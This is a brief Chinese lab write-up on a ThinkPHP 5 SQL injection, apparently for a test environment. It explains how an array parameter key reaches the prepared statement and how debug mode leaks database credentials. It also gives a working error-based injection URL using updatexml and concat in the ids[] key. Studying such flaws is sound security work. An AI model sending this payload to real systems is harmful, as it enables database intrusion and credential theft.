漏洞原理
传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码
启动后,访问http://your-ip/index.php?ids[]=1&ids[]=2
,即可看到用户名被显示了出来,说明环境运行成功。
漏洞利用
访问http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
,信息成功被爆出:
可以找到了数据库的账号、密码: